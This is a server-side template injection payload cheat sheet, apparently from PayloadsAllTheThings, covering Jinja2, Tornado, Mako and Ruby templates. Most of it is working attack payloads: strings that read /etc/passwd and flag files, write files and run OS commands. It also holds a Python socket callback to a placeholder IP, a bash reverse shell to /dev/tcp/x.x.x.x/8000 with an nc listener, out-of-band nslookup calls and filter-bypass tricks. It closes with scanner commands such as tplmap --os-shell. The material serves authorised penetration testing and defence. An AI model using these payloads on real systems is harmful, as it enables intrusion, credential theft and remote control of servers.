{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
# https://github.com/pallets/flask/blob/master/src/flask/helpers.py#L398
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}

Source

Jinja2 > Jinja2 - Write Into Remote File
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

Source

Jinja2 > Jinja2 - Remote Command Execution

Listen for connection

nc -lnvp 8000

Source

Jinja2 > Jinja2 - Remote Command Execution > Jinja2 - Forcing Output On Blind RCE

You can import Flask functions to return an output from the vulnerable page.

{{
x.__init__.__builtins__.exec("from flask import current_app, after_this_request
@after_this_request
def hook(*args, **kwargs):
    from flask import make_response
    r = make_response('Powned')
    return r
")
}}

Source

Jinja2 > Jinja2 - Remote Command Execution > Exploit The SSTI By Calling os.popen().read()
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

But when __builtins__ is filtered, the following payloads are context-free, and do not require anything, except being in a jinja2 Template object:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

We can use these shorter payloads from @podalirius_: python-vulnerabilities-code-execution-in-jinja-templates:

{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Similar payloads could be used for Error-Based and Boolean-Based exploitation:

{{ cycler.__init__.__globals__.__builtins__.getattr("", "x" + cycler.__init__.__globals__.os.popen('id').read()) }} # Error-Based
{{ 1 / (cycler.__init__.__globals__.os.popen("id")._proc.wait() == 0) }} # Boolean-Based

With objectwalker we can find a path to the os module from lipsum. This is the shortest payload known to achieve RCE in a Jinja2 template:

{{ lipsum.__globals__["os"].popen('id').read() }}

Source

Jinja2 > Jinja2 - Remote Command Execution > Exploit The SSTI By Calling subprocess.Popen

:warning: the number 396 will vary depending of the application.

{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

Source

Jinja2 > Jinja2 - Remote Command Execution > Exploit The SSTI By Calling Popen Without Guessing The Offset
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

Simple modification of the payload to clean up output and facilitate command input from @SecGus. In another GET parameter include a variable named "input" that contains the command you want to run (For example: &input=ls)

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}

Source

Jinja2 > Jinja2 - Remote Command Execution > Exploit The SSTI By Writing An Evil Config File
# evil config
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}  

# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

Source

Jinja2 > Jinja2 - Remote Command Execution with Obfuscation

Write the string: id using the index position of a known existing string (the index value may vary depending on the target): {{self.__init__.__globals__.__str__()[1786:1788]}}.

Execute the system command id:

{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(self.__init__.__globals__.__str__()[1786:1788]).read()}}

Reference and explanation of payload can be found yeswehack/server-side-template-injection-exploitation.

Source

Jinja2 > Jinja2 - Filter Bypass
request.__class__
request["__class__"]

Bypassing _

http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_

{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}

Bypassing [ and ]

http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
or
http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

Bypassing |join

http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_

Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by @SecGus:

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

Source

Tornado

Universal payloads also work for Tornado.

Source

Tornado > Tornado - Remote Command Execution
{{os.system('whoami')}}
{%import os%}{{os.system('nslookup oastify.com')}}

Source

Mako

Universal payloads also work for Mako.

Official website

Mako is a template library written in Python. Conceptually, Mako is an embedded Python (i.e. Python Server Page) language, which refines the familiar ideas of componentized layout and inheritance to produce one of the most straightforward and flexible models available, while also maintaining close ties to Python calling and scoping semantics.

<%
import os
x=os.popen('id').read()
%>
${x}

Source

Mako > Mako - Remote Command Execution

Any of these payloads allows direct access to the os module

${self.module.cache.util.os.system("id")}
${self.module.runtime.util.os.system("id")}
${self.template.module.cache.util.os.system("id")}
${self.module.cache.compat.inspect.os.system("id")}
${self.__init__.__globals__['util'].os.system('id')}
${self.template.module.runtime.util.os.system("id")}
${self.module.filters.compat.inspect.os.system("id")}
${self.module.runtime.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.util.os.system("id")}
${self.template.__init__.__globals__['os'].system('id')}
${self.module.cache.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.util.os.system("id")}
${self.template.module.cache.compat.inspect.os.system("id")}
${self.module.cache.compat.inspect.linecache.os.system("id")}
${self.template._mmarker.module.runtime.util.os.system("id")}
${self.attr._NSAttr__parent.module.cache.util.os.system("id")}
${self.template.module.filters.compat.inspect.os.system("id")}
${self.template.module.runtime.compat.inspect.os.system("id")}
${self.module.filters.compat.inspect.linecache.os.system("id")}
${self.module.runtime.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.exceptions.util.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.util.os.system("id")}
${self.context._with_template.module.cache.util.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.template.module.cache.util.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.util.os.system("id")}
${self.module.cache.util.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.linecache.os.system("id")}
${self.module.runtime.exceptions.traceback.linecache.os.system("id")}
${self.module.runtime.exceptions.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.compat.inspect.os.system("id")}
${self.template.module.cache.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")}
${self.template._mmarker.module.filters.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.exceptions.util.os.system("id")}
${self.template.module.filters.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
${self.context._with_template._mmarker.module.cache.util.os.system("id")}
${self.template.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.cache.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")}
${self.context._with_template._mmarker.module.runtime.util.os.system("id")}
${self.context._with_template.module.filters.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.exceptions.util.os.system("id")}
${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}

PoC :

>>> print(Template("${self.module.cache.util.os}").render())
<module 'os' from '/usr/local/lib/python3.10/os.py'>

Source

Mako > Mako - Remote Command Execution with Obfuscation

In Mako, the following payload can be used to generates the string "id": ${str().join(chr(i)for(i)in[105,100])}.

Execute the system command id:

${self.module.cache.util.os.popen(str().join(chr(i)for(i)in[105,100])).read()}
<%import os%>${os.popen(str().join(chr(i)for(i)in[105,100])).read()}

Reference and explanation of payload can be found yeswehack/server-side-template-injection-exploitation.

Source

Overview

Template injection allows an attacker to include template code into an existing (or not) template. A template engine makes designing HTML pages easier by using static template files which at runtime replaces variables/placeholders with actual values in the HTML pages.

Source

Tools
  • Hackmanit/TInjA - An efficient SSTI + CSTI scanner which utilizes novel polyglots

    tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
    tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."
    
  • epinna/tplmap - Server-Side Template Injection and Code Injection Detection and Exploitation Tool

    python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
    python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
    python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
    
  • vladko312/SSTImap - Automatic SSTI detection tool with interactive interface based on epinna/tplmap

    python3 ./sstimap.py -u 'https://example.com/page?name=John' -s
    python3 ./sstimap.py -i -u 'https://example.com/page?name=Vulnerable*&message=My_message' -l 5 -e jade
    python3 ./sstimap.py -i -A -m POST -l 5 -H 'Authorization: Basic bG9naW46c2VjcmV0X3Bhc3N3b3Jk'
    

Source

Methodology > Detection and Exploitation Techniques

Source

Methodology > Detection and Exploitation Techniques > Rendered

[image: Rendered technique workflow]

Applicability: detection, exploitation

When the rendered template is displayed to the attacker, Rendered technique can be used to include the results of the injected code on the page.

Source

Methodology > Detection and Exploitation Techniques > Error-Based

[image: Error-Based technique workflow]

Applicability: detection, exploitation

When the errors are verbosely displayed to the attacker, Error-Based technique can be used to trigger the error message containing the results of the injected code.

Source

Methodology > Detection and Exploitation Techniques > Boolean-Based

[image: Boolean-Based technique workflow]

Applicability: detection, blind exploitation, blind data exfiltration

Boolean-Based technique can be used to conditionally trigger an error to indicate success or failure of the injected code.

Source

Methodology > Detection and Exploitation Techniques > Time-Based

[image: Time-Based technique workflow]

Applicability: limited detection, blind exploitation, blind data exfiltration

Time-Based technique can be used to conditionally trigger the delay to indicate success or failure of the injected code.

Triggering the delay often requires guessing payloads for code evaluation or OS command execution.

Source

Methodology > Detection and Exploitation Techniques > Out of Bounds

Applicability: limited detection, exploitation

Out of Bounds technique can be used to expose results of the injected code through other channels (e.g. by connecting to an attacker-controlled server).

This technique often requires guessing payloads for code evaluation or OS command execution.

Source

Methodology > Detection and Exploitation Techniques > Polyglot-Based

[image: Polyglot-Based technique workflow]

Applicability: detection

Polyglot-Based technique can be used to quickly determine the template engine by checking how it transforms different payloads.

Source

Methodology > Universal Detection Payloads

Polyglot to trigger an error in presence of SSTI vulnerability:

${{<%[%'"}}%\.

Common tags to test for SSTI with code evaluation:

{{ ... }}
${ ... }
#{ ... }
<%= ... %>
{ ... }
{{= ... }}
{= ... }
\n= ... \n
*{ ... }
@{ ... }
@( ... )

Rendered SSTI can be checked by using mathematical expressions inside the tags:

7 * 7

Error-Based SSTI can be checked by using this payload inside the tags:

(1/0).zxy.zxy

If the error caused by that payload is displayed verbosely, it can be checked to guess the language used for code evaluation:

ErrorLanguage
ZeroDivisionErrorPython
java.lang.ArithmeticExceptionJava
ReferenceErrorNodeJS
TypeErrorNodeJS
Division by zeroPHP
DivisionByZeroErrorPHP
divided by 0Ruby
Arithmetic operation failedFreemarker (Java)

To test for blind injections using Boolean-Based technique, the attacker can test pairs of similar payloads wrapped in tags, where one payload evaluates mathematical expression, while the other triggers syntax error:

testokerror
1(3*4/2)3*)2(/4
2((7*8)/(2*4))7)(*)8)(2/(*4

Using at least two pairs of payloads avoids false positives caused by external interference.

Source

Methodology > Manual Detection and Exploitation > Identify the Vulnerable Input Field

The attacker first locates an input field, URL parameter, or any user-controllable part of the application that is passed into a server-side template without proper sanitization or escaping.

For example, the attacker might identify a web form, search bar, or template preview functionality that seems to return results based on dynamic user input.

TIP: Generated PDF files, invoices and emails usually use a template.

Source

Methodology > Manual Detection and Exploitation > Inject Template Syntax

The attacker tests the identified input field by injecting template syntax specific to the template engine in use. Different web frameworks use different template engines (e.g., Jinja2 for Python, Twig for PHP, or FreeMarker for Java).

Common template expressions:

  • {{7*7}} for Jinja2 (Python).
  • #{7*7} for Thymeleaf (Java).

Find more template expressions in the page dedicated to the technology (PHP, Python, etc).

[image: SSTI cheatsheet workflow]

In most cases, this polyglot payload will trigger an error in presence of a SSTI vulnerability:

${{<%[%'"}}%\.

The Hackmanit/Template Injection Table is an interactive table containing the most efficient template injection polyglots along with the expected responses of the 44 most important template engines.

Source

Methodology > Manual Detection and Exploitation > Enumerate the Template Engine

Based on the successful response, the attacker determines which template engine is being used. This step is critical because different template engines have different syntax, features, and potential for exploitation. The attacker may try different payloads to see which one executes, thereby identifying the engine.

  • Python: Django, Jinja2, Mako, ...
  • Java: Freemarker, Jinjava, Velocity, ...
  • Ruby: ERB, Slim, ...

The post "template-engines-injection-101" from @0xAwali summarize the syntax and detection method for most of the template engines for JavaScript, Python, Ruby, Java and PHP and how to differentiate between engines that use the same syntax.

Source

Methodology > Manual Detection and Exploitation > Escalate to Code Execution

Once the template engine is identified, the attacker injects more complex expressions, aiming to execute server-side commands or arbitrary code.

Source

Ruby

Server-Side Template Injection (SSTI) is a vulnerability that arises when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In Ruby, SSTI can occur when using templating engines like ERB (Embedded Ruby), Haml, liquid, or Slim, especially when user input is incorporated into templates without proper sanitization or validation.

Source

Templating Libraries
Template NamePayload Format
Erb<%= %>
Erubi<%= %>
Erubis<%= %>
HAML#{ }
Liquid{{ }}
Mustache{{ }}
Slim#{ }

Source

Universal Payloads

Generic code injection payloads work for many Ruby-based template engines, such as Erb, Erubi, Erubis, HAML and Slim.

To use these payloads, wrap them in the appropriate tag.

%x('id') # Rendered RCE
File.read("Y:/A:/"+%x('id')) # Error-Based RCE
1/(system("id")&&1||0) # Boolean-Based RCE
system("id && sleep 5") # Time-Based RCE

Source

Ruby > Ruby - Basic injections

ERB:

<%= 7 * 7 %>

Slim:

#{ 7 * 7 }

Source

Ruby > Ruby - Retrieve /etc/passwd
<%= File.open('/etc/passwd').read %>

Source

Ruby > Ruby - Remote Command execution

Execute code using SSTI for Erb,Erubi,Erubis engine.

<%=(`nslookup oastify.com`)%>
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Execute code using SSTI for Slim engine.

#{ %x|env| }

Source

From PayloadsAllTheThings by Swissky and contributors, used under the MIT licence. Use it only on systems you are authorised to test.